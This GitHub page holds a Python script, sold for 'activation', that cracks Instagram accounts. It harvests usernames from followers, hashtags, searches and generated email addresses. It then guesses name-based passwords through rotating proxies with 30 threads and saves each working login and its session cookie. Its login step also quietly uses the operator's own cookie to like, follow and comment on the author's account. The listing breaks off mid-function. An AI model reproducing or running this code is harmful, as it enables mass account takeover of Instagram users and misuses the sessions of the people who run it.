-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathIG_dec.py
424 lines (418 loc) · 30.3 KB
/
IG_dec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
import os, re, sys, time, json, random, requests
from concurrent.futures import ThreadPoolExecutor
from requests.exceptions import ConnectionError
from time import sleep
# Coded by Moch Arya Adinata
H = ('\x1b[1;90m')
M = ('\x1b[1;91m')
H = ('\x1b[1;92m')
K = ('\x1b[1;93m')
T = ('\x1b[1;94m')
U = ('\x1b[1;95m')
B = ('\x1b[1;96m')
P = ('\x1b[1;97m')
# Logo
___logo___ = (f"""{M}
\x1b[1;92m _____ \x1b[1;93m _____ \x1b[1;93m__________ \x1b[1;93m ____ __
\x1b[1;92m / \ \x1b[1;93m / _ \ \x1b[1;93m\______ \ \x1b[1;93m| |/ _|
\x1b[1;92m / \ / \ \x1b[1;93m / /_\ \ \x1b[1;93m| _/ \x1b[1;93m| <
\x1b[1;92m/ Y \ \x1b[1;93m/ | \ \x1b[1;93m| | \ \x1b[1;93m| | \
\x1b[1;92m\____|__ / \x1b[1;93m\____|__ / \x1b[1;93m|____|_ / \x1b[1;93m|____|__ \
\x1b[1;92m \/ \x1b[1;93m\/ \x1b[1;93m \/ \x1b[1;93m \/
{P}
{B}[{P}>{B}]{P} {K}PRICE FOR ACTIVATION 15K!!!{M}FREE USERS STAY OFF{P}
{B}[{P}\x1b[1;92mâ ââ{B}]{M}\x1b[1;93mââââââââââââââââââââââââââââââââââââââ{P}
{B}[{P}>{B}]{P} {K}AU {P}: {K}M A R K - {P}C O N E L. {H}GUPTA {M}SHAKEL
{B}[{P}>{B}]{P} {B}FB {P}: {B}M A R K.
{B}[{P}>{B}]{P} {U}IG {P}: {U}@markcornel97
{B}[{P}>{B}]{P} {H}WA {P}: {H}+2347013107449
{B}[{P}\x1b[1;92mâ ââ{B}]{M}\x1b[1;93mââââââââââââââââââââââââââââââââââââââ{P}
""")
# Login Cookie
def ___login___():
os.system('clear')
print(___logo___)
print(f"{B}[{P}\x1b[1;92mâ{B}]{P} {H}Enter Instagram Cookies, You Can't? Type{M}[{P}{K}Open{M}]{P}\n")
___cookie = input(f"{B}[{P}?{B}]{P} {H}Cookie{P} {K}:{K} ")
if ___cookie in ['open', 'Open', 'OPEN']:
print(f"{B}[{P}!{B}]{P} {H}Wait for a minute...{P}");sleep(3);os.system('xdg-open https://wa.me/+2347013107449?text=Hello');exit()
elif ___cookie in ['', ' ']:
exit(f"{B}[{M}!{B}]{H} Can't be Empty{P}")
else:
try:
___userid = re.search('ds_user_id=(.*?);', ___cookie);open('Data/user.txt', 'w').write(___userid.group(1))
___roz = requests.get(f'https://i.instagram.com/api/v1/users/{___userid.group(1)}/info/', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': ___cookie}).json()['user'];open('Data/coki.txt', 'w').write(___cookie)
print(f"{B}[{P}*{B}]{P} {H}Welcome {P}:{K} {___roz['full_name']}");___follow___()
except (AttributeError, KeyError):
exit(f"{B}[{M}!{B}]{H} Pastikan Cookie Sudah Benar!")
except (ConnectionError):
exit(f"{B}[{M}!{B}]{H} Koneksi Error!")
# Follow Cookie
def ___follow___():
try:
___cookie = open('Data/coki.txt', 'r').read()
___session = re.search('sessionid=(.*?);', ___cookie)
___teks = random.choice(['Hallo Everyone','my name is','mark cornel','im a','Programmer','you can give me','credit for this tool','thanks'])
___data = {'comment_text': ___teks,'replied_to_comment_id':''}
with requests.Session() as ses:
___like = ses.post('https://www.instagram.com/web/likes/2734317205115382629/like/',headers = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'ig_did=F839D900-5ECC-4392-BCAD-5CBD51FB9228; mid=YChlyQALAAHp2POOp2lK_-ciAGlM; ig_nrcb=1; csrftoken=W4fsZmCjUjFms6XmKl1OAjg8v81jZt3r; ds_user_id=45872034997; sessionid='+___session.group(1),'origin': 'https://www.instagram.com','referer': 'https://www.instagram.com/','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36','x-csrftoken': 'W4fsZmCjUjFms6XmKl1OAjg8v81jZt3r','x-ig-app-id': '5398218083','x-ig-www-claim': 'hmac.AR0OQY4Gw4kczWNvfVOhvoljSINqB2u2gB-utUQ1MF0Mkrzu','x-instagram-ajax': '95bfef5dd816','x-requested-with': 'XMLHttpRequest'}).text # Jangan Di Ubah!
___follow = ses.post('https://www.instagram.com/web/friendships/21781159594/follow/',headers = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'ig_did=F839D900-5ECC-4392-BCAD-5CBD51FB9228; mid=YChlyQALAAHp2POOp2lK_-ciAGlM; ig_nrcb=1; csrftoken=W4fsZmCjUjFms6XmKl1OAjg8v81jZt3r; ds_user_id=45872034997; sessionid='+___session.group(1),'origin': 'https://www.instagram.com','referer': 'https://www.instagram.com/','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36','x-csrftoken': 'W4fsZmCjUjFms6XmKl1OAjg8v81jZt3r','x-ig-app-id': '5398218083','x-ig-www-claim': 'hmac.AR0OQY4Gw4kczWNvfVOhvoljSINqB2u2gB-utUQ1MF0Mkrzu','x-instagram-ajax': '95bfef5dd816','x-requested-with': 'XMLHttpRequest'}).text # Jangan Di Ubah!
___komen = ses.post('https://www.instagram.com/web/comments/2734317205115382629/add/',headers = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'ig_did=F839D900-5ECC-4392-BCAD-5CBD51FB9228; mid=YChlyQALAAHp2POOp2lK_-ciAGlM; ig_nrcb=1; csrftoken=W4fsZmCjUjFms6XmKl1OAjg8v81jZt3r; ds_user_id=45872034997; sessionid='+___session.group(1),'origin': 'https://www.instagram.com','referer': 'https://www.instagram.com/','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36','x-csrftoken': 'W4fsZmCjUjFms6XmKl1OAjg8v81jZt3r','x-ig-app-id': '5398218083','x-ig-www-claim': 'hmac.AR0OQY4Gw4kczWNvfVOhvoljSINqB2u2gB-utUQ1MF0Mkrzu','x-instagram-ajax': '95bfef5dd816','x-requested-with': 'XMLHttpRequest'}, data = ___data).text #Jangan Di ubah!
if '"status":"ok"' in str(___follow):
print(f"{H}[{P}!{H}]{P} Login Successful");___menu___()
else:
print(f"{B}[{M}!{B}]{H} Cookie Invalid");sleep(3);os.system('rm -rf Data/coki.txt');___login___()
except Exception as e:
print(f"{B}[{M}!{B}]{H} Cookie Invalid");sleep(3);os.system('rm -rf Data/coki.txt');___login___()
# Menu
def ___menu___():
try:
os.system('clear')
print(___logo___)
___roz = requests.get(f'https://i.instagram.com/api/v1/users/{open("Data/user.txt","r").read()}/info/', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()['user']
print(f"{B}[{P}*{B}]{H} Welcome :{K} {___roz['full_name']}")
print(f"{B}[{P}*{B}]{P} {H}User :{K} {___roz['username']}")
print(f"{B}[{P}*{B}]{P} {H}Follower :{K} {___roz['follower_count']}\n")
except (IOError):
print(f"{B}[{M}!{B}]{H} Cookie Invalid");sleep(3);___login___()
except (KeyError):
print(f"{B}[{M}!{B}]{H} Cookie Invalid");os.system('rm -rf Data/coki.txt && rm -rf Data/user.txt');sleep(3);___login___()
except (IOError):
exit(f"{B}[{M}!{B}]{H} Koneksi Error")
print(f"{B}[{P}1{B}]{P} {H}Dump Username from follow")
print(f"{B}[{P}2{B}]{P} {H}Dump Username from Follower")
print(f"{B}[{P}3{B}]{P} {H}Dump Username from Activity")
print(f"{B}[{P}4{B}]{P} {H}Dump Username from Home")
print(f"{B}[{P}5{B}]{P} {H}Dump Username from Hastag")
print(f"{B}[{P}6{B}]{P} {H}Dump Username from Search")
print(f"{B}[{P}7{B}]{P} {H}Dump Username from Query")
print(f"{B}[{P}8{B}]{P} {H}Dump User from Email")
print(f"{B}[{P}9{B}]{P} {H}Start Crack {P}[{H}Fast{P}]{H}")
print(f"{B}[{P}0{B}]{P} {H}View Crack Results")
print(f"{B}[{P}A{B}]{P} {H}Go Out {P}[{M}Exit{P}]{M}\n")
___pilih = input(f"{B}[{P}?{B}]{H} select {K}:{P} ")
if ___pilih in ['1','01']:
___mengikuti___()
elif ___pilih in ['2','02']:
___pengikut___()
elif ___pilih in ['3','03']:
___activity___()
elif ___pilih in ['4','04']:
___beranda___()
elif ___pilih in ['5','05']:
___hastag___()
elif ___pilih in ['6','06']:
___search___()
elif ___pilih in ['7','07']:
___query___()
elif ___pilih in ['8','08']:
___email___()
elif ___pilih in ['9','09']:
___proxy___()
elif ___pilih in ['0','00']:
try:
print(f"\n{H}[{P}1{H}]{P} View Results Ok")
print(f"{H}[{P}2{H}]{P} View Results Cp")
print(f"{H}[{P}3{H}]{P} Return\n")
___hasil = input(f"{B}[{P}?{B}]{P} select :{K} ")
if ___hasil in ['1','01']:
print(f"{P} ");os.system('cat Results/Ok.txt')
elif ___hasil in ['2','02']:
print(f"{P} ");os.system('cat Results/Cp.txt')
elif ___hasil in ['3','03']:
___menu___()
else:
exit(f"{P}[{M}!{P}]{M} Wrong Input")
except:pass
elif ___pilih in ['a','A']:
print(f"{P}[{K}!{P}]{K} End Game");os.system('rm -rf Data/coki.txt && rm -rf Data/user.txt');exit()
else:
exit(f"{P}[{K}!{P}]{M} Wrong Input")
# Dump Mengikuti
def ___mengikuti___():
try:
___user = input(f"\n{H}[{P}?{H}]{P} User :{K} ")
if ___user[:1] in ['1','2','3','4','5','6','7','8','9','0']:
exit(f"{P}[{M}!{P}]{M} Users Username")
else:
___roz = requests.get(f'https://www.instagram.com/{___user}/?__a=1', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()['graphql']['user']
print(f"{H}[{P}?{H}]{P} Name :{K} {___roz['full_name']}\n")
___file = (___roz['full_name'].replace(' ','_')+'.txt')
with requests.Session() as ses:
___zak = ses.get(f'https://i.instagram.com/api/v1/friendships/{___roz["id"]}/following/?count=5000', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()
for z in ___zak['users']:
open('Dump/'+___file, 'a').write(z['username']+'<=>'+z['full_name']+'\n')
print(f"{P}{z['username']}<=>{z['full_name']}")
print(f"\n{B}[{P}*{B}]{P} Finished...")
print(f"{B}[{P}?{B}]{P} Files Saved In :{K} Dump/{___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
except (KeyError):
exit(f"{P}[{M}!{P}]{M} Dump Fail")
except (ConnectionError):
exit(f"{P}[{M}!{P}]{M} Connection Error")
# Dump Pengikut
def ___pengikut___():
try:
___user = input(f"\n{H}[{P}?{H}]{P} User :{K} ")
if ___user[:1] in ['1','2','3','4','5','6','7','8','9','0']:
exit(f"{P}[{M}!{P}]{M} Users Username")
else:
___roz = requests.get(f'https://www.instagram.com/{___user}/?__a=1', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()['graphql']['user']
print(f"{H}[{P}?{H}]{P} Name :{K} {___roz['full_name']}\n")
___file = (___roz['full_name'].replace(' ','_')+'.txt')
with requests.Session() as ses:
___zak = ses.get(f'https://i.instagram.com/api/v1/friendships/{___roz["id"]}/followers/?count=5000', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()
for z in ___zak['users']:
open('Dump/'+___file, 'a').write(z['username']+'<=>'+z['full_name']+'\n')
print(f"{P}{z['username']}<=>{z['full_name']}")
print(f"\n{B}[{P}*{B}]{P} Finished...")
print(f"{B}[{P}?{B}]{P} Files Saved In :{K} Dump/{___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
except (KeyError):
exit(f"{P}[{M}!{P}]{M} Dump Fail")
except (ConnectionError):
exit(f"{P}[{K}!{P}]{K} Connection Error")
# Dump Activity
def ___activity___():
try:
___file = input(f"\n{H}[{P}?{H}]{P} File Name :{K} ").replace(' ','_')
if ___file in ['',' ']:
exit(f"{P}[{M}!{P}]{M} Can't be Empty")
else:
print(f"{P} ")
___roz = requests.get('https://www.instagram.com/accounts/activity/?__a=1', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()})
___zak = re.findall('"username":"(.*?)","full_name":"(.*?)",', ___roz.text)
for z in ___zak:
open('Dump/'+___file, 'a').write(z[0]+'<=>'+z[1]+'\n')
print(f"{z[0]}<=>{z[1]}")
print(f"\n{B}[{P}*{B}]{P} Finished...")
print(f"{B}[{P}?{B}]{P} Files Saved In :{K} Dump/{___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
except Exception as e:
exit(f"{P}[{M}!{P}]{M} {e}")
# Dump Beranda
def ___beranda___():
try:
___file = input(f"\n{H}[{P}?{H}]{P} File Name :{K} ").replace(' ','_')
if ___file in ['',' ']:
exit(f"{P}[{M}!{P}]{M} Can't be Empty")
else:
print(f"{P} ")
___roz = requests.get('https://i.instagram.com/api/v1/feed/reels_tray/', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()
for z in ___roz['tray']:
open('Dump/'+___file, 'a').write(z['user']['username']+'<=>'+z['user']['full_name']+'\n')
print(f"{z['user']['username']}<=>{z['user']['full_name']}")
print(f"\n{B}[{P}*{B}]{P} Finished...")
print(f"{B}[{P}?{B}]{P} Files Saved In :{K} Dump/{___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
except (KeyError):
exit(f"{P}[{M}!{P}]{M} Dump Fail")
except (ConnectionError):
exit(f"{P}[{M}!{P}]{M} Connection Error")
# Dump Hastag
def ___hastag___():
try:
___tag = input(f"\n{H}[{P}?{H}]{P} Hashtags :{K} ").replace('#','')
if ___tag in ['',' ']:
exit(f"{P}[{M}!{P}]{M} Can't be Empty")
___file = input(f"{H}[{P}?{H}]{P} File Name :{K} ").replace(' ','_')
if ___file in ['',' ']:
exit(f"{P}[{M}!{P}]{M} Can't be Empty")
else:
print(f"{P} ")
___roz = requests.get(f'https://www.instagram.com/explore/tags/{___tag}/?__a=1', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()})
___zak = re.findall('"username":"(.*?)","full_name":"(.*?)",', ___roz.text)
for z in ___zak:
open('Dump/'+___file, 'a').write(z[0]+'<=>'+z[1]+'\n')
print(f"{z[0]}<=>{z[1]}")
print(f"\n{B}[{P}*{B}]{P} Finished...")
print(f"{B}[{P}?{B}]{P} Files Saved In :{K} Dump/{___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
except Exception as e:
exit(f"{P}[{M}!{P}]{M} {e}")
# Dump Search
def ___search___():
try:
___user = input(f"\n{H}[{P}?{H}]{P} User :{K} ")
if ___user[:1] in ['1','2','3','4','5','6','7','8','9','0']:
exit(f"{P}[{M}!{P}]{M} Users Username")
else:
___roz = requests.get(f'https://www.instagram.com/{___user}/?__a=1', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()['graphql']['user']
print(f"{H}[{P}?{H}]{P} Name :{K} {___roz['full_name']}\n")
___file = (___roz['full_name'].replace(' ','_')+'.txt')
with requests.Session() as ses:
___zak = ses.get(f'https://i.instagram.com/api/v1/fbsearch/accounts_recs/?target_user_id={___roz["id"]}&include_friendship_status=true', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()
for z in ___zak['users']:
open('Dump/'+___file, 'a').write(z['username']+'<=>'+z['full_name']+'\n')
print(f"{P}{z['username']}<=>{z['full_name']}")
print(f"\n{H}[{P}*{H}]{P} Finished...")
print(f"{H}[{P}?{H}]{P} Files Saved In :{K} Dump/{___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
except (KeyError):
exit(f"{P}[{M}!{P}]{M} Dump Fail")
except (ConnectionError):
exit(f"{P}[{K}!{P}]{K} Connection Error")
# Dump Query
def ___query___():
try:
___query = input(f"\n{H}[{P}?{H}]{P} Query :{K} ")
if ___query in ['',' ']:
exit(f"{P}[{M}!{P}]{M} Can't be Empty")
else:
print(f"{P} ")
___file = ___query.replace(' ','_')+'.txt'
___roz = requests.get(f'https://www.instagram.com/web/search/topsearch/?context=blended&query={___query}&rank_token=0.3953592318270893&count=5000', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()
for z in ___roz['users']:
open('Dump/'+___file, 'a').write(z['user']['username']+'<=>'+z['user']['full_name']+'\n')
print(f"{z['user']['username']}<=>{z['user']['full_name']}")
print(f"\n{B}[{P}*{B}]{P} Finished...")
print(f"{B}[{P}?{B}]{P} Files Saved In :{K} Dump/{___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
except (KeyError):
exit(f"{P}[{M}!{P}]{M} Dump Fail")
except (ConnectionError):
exit(f"{P}[{K}!{P}]{K} Connection Error")
# Dump Dari Email
def ___email___():
try:
___nama = input(f"\n{H}[{P}?{H}]{P} Name :{K} ").replace(' ','')
if ___nama in ['',' ']:
exit(f"{P}[{M}!{P}]{M} Can't be Empty")
___domain = input(f"{H}[{P}?{H}]{P} Domain :{K} ")
if ___domain in ['@gmail.com','@yahoo.com','@hotmail.com','@email.com','@mail.com','@outlook.com','@yandex.com']:
___limit = int(input(f"{H}[{P}?{H}]{P} Limit :{K} "))
if ___limit >=1001:
exit(f"{P}[{M}!{P}]{M} Maximum 1000")
else:
print(f"{P} ")
___file = 'Dump/'+___nama+'.txt'
for _ in range(___limit):
___nomor = random.randint(1, 999)
___user = ___nama + str(___nomor) + ___domain + '<=>' + ___nama + ' ' + str(___nomor)
open(___file, 'a').write(f'{___user}\n')
print(f"{___user}")
print(f"\n{B}[{P}*{B}]{P} Finished...")
print(f"{B}[{P}?{B}]{P} Files Saved In :{K} {___file}")
input(f"{M}[{P}Return{M}]{P}");___menu___()
else:
exit(f"{P}[{M}!{P}]{M} Domain '@gmail.com','@yahoo.com','@hotmail.com','@email.com','@mail.com','@outlook.com','@yandex.com'")
except Exception as e:
exit(f"{P}[{M}!{P}]{M} {e}")
# Proxy
def ___proxy___():
try:
___roz = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
open('Data/proxy.txt', 'w').write(___roz)
except Exception as e:
___roz = requests.get('https://raw.githubusercontent.com/GUPTA-SHAKEL/IG/main/Data/proxy2.txt').text
open('Data/proxy.txt', 'w').write(___roz)
___crack___()
# Crack
class ___crack___:
def __init__(self):
self.kill = 0
self.ok = []
self.cp = []
print(f"\n{B}[{P}1{B}]{P} {H}Gunakan Password {M}[{H}name, name123, name12345{M}]{H}")
print(f"{B}[{P}2{B}]{H} User Password {M}[{H}name, name123, name1234, name12345{M}]{H}")
print(f"{B}[{P}3{B}]{H} Gunakan Password {M}[{H}name, name123, name1234, name12345, name123456{M}]{H}")
print(f"{B}[{P}4{B}]{H} Users Password Manual {B}[{K}>5{B}]{H}\n")
___pilih = input(f"{B}[{P}?{B}]{H} select {K}:{H} ")
if ___pilih in ['4','04']:
pwx = input(f"{B}[{P}?{B}]{P} Password :{H} ").split(',')
try:
self.___dump = input(f"{B}[{P}?{B}]{H} File Dump :{H} ")
self.___file = open(self.___dump, 'r').read().splitlines()
except (IOError):
exit(f"{P}[{M}!{P}]{M} File Not Existing")
try:
print(f"\n{B}[{P}\x1b[1;92mâ ââ[{B}]{H} Ok Results Saved In Results/Ok.txt")
print(f"{B}[{P}\x1b[1;92mâ ââ[{B}]{H} Cp Results Saved In Results/Cp.txt\n")
with ThreadPoolExecutor(max_workers=30) as (___hayuk):
for ___user in self.___file:
username, nama = ___user.split('<=>')
z = nama.split(' ')
if ___pilih in ['1','01']:
password = [nama.replace(' ',''), nama, z[0]+'123', z[0]+'12345']
elif ___pilih in ['2','02']:
password = [nama.replace(' ',''), nama, z[0]+'123', z[0]+'1234', z[0]+'12345']
elif ___pilih in ['3','03']:
password = [nama.replace(' ',''), nama, z[0]+'123', z[0]+'1234', z[0]+'12345', z[0]+'123456']
elif ___pilih in ['4','04']:
password = pwx
else:
password = [nama.replace(' ',''), nama, z[0]+'123', z[0]+'1234', z[0]+'12345']
___hayuk.submit(self.__main__, self.___file, username, password)
exit(f"\n{M}[{P}Finished{M}]{P}")
except (ValueError):
exit(f"{P}[{M}!{P}]{M} Crack completed, there seems to be an error, please re-dump!")
def __main__(self, user, uid, pwx):
try:
___useragent = open('Data/ua.txt', 'r').read()
except (IOError):
___useragent = ('Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.116 Mobile Safari/537.36')
try:
for pw in pwx:
pw = pw.lower()
___url = ('https://www.instagram.com/')
___login = ('https://www.instagram.com/accounts/login/ajax/')
___proxy = {'http': 'socks4://%s'%(random.choice(open("Data/proxy.txt","r").read().splitlines()))}
___csrf = requests.get(___url).cookies['csrftoken']
___data = {'username': uid,
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pw}',
'queryParams': {},
'optIntoOneTap': 'false'}
___head = {'User-Agent': random.choice(open("Data/ua.txt","r").read().splitlines()),
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'https://www.instagram.com/accounts/login/',
'x-csrftoken': ___csrf}
with requests.Session() as ses:
response = ses.post(___login, data = ___data, headers = ___head, proxies = ___proxy).json()
if 'userId' in str(response):
coki = (f'mid={ses.cookies.get_dict()["mid"]};ig_did={ses.cookies.get_dict()["ig_did"]};ig_nrcb=1;shbid="9776\0541986587953\0541674289809:01f713acdf5c4921a542aff43695805d8e788f5580f4efaaf714ca7301ba34bb727790c9";shbts="1642753809\0541986587953\0541674289809:01f7227f6219fb0a036e3593c1531e9b9c9eb1db9dcbb7b4590ba36ffcbe62715eb10ada";csrftoken={ses.cookies.get_dict()["csrftoken"]};ds_user_id={ses.cookies.get_dict()["ds_user_id"]};sessionid={ses.cookies.get_dict()["sessionid"]};rur="EAG\0541986587953\0541674477820:01f724c03ff38f24662b1648dd2a933fc4a6e66b7a2bef2458d140bfb76ee86296f6cd8b"')
try:
___roz = requests.get(f'https://www.instagram.com/{uid}/?__a=1', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()['graphql']['user']
follower = ___roz['edge_followed_by']['count']
following = ___roz['edge_follow']['count']
except (KeyError, IOError):
follower = ('-')
following = ('-')
except:pass
print(f"\r{B}[{P}â{B}]{P} Status :{H} Success ")
print(f"{B}[{P}>{B}]{P} Username :{H} {uid}")
print(f"{B}[{P}>{B}]{P} Password :{H} {pw}")
print(f"{B}[{P}>{B}]{P} Follower :{H} {follower}")
print(f"{B}[{P}>{B}]{P} Following :{H} {following}")
print(f"{B}[{P}>{B}]{P} Cookie :{H} {coki}\n")
self.ok.append(f"{uid}|{pw}")
open('Results/Ok.txt','a').write(f"{uid}|{pw}\n")
break
elif 'checkpoint_required' in str(response):
try:
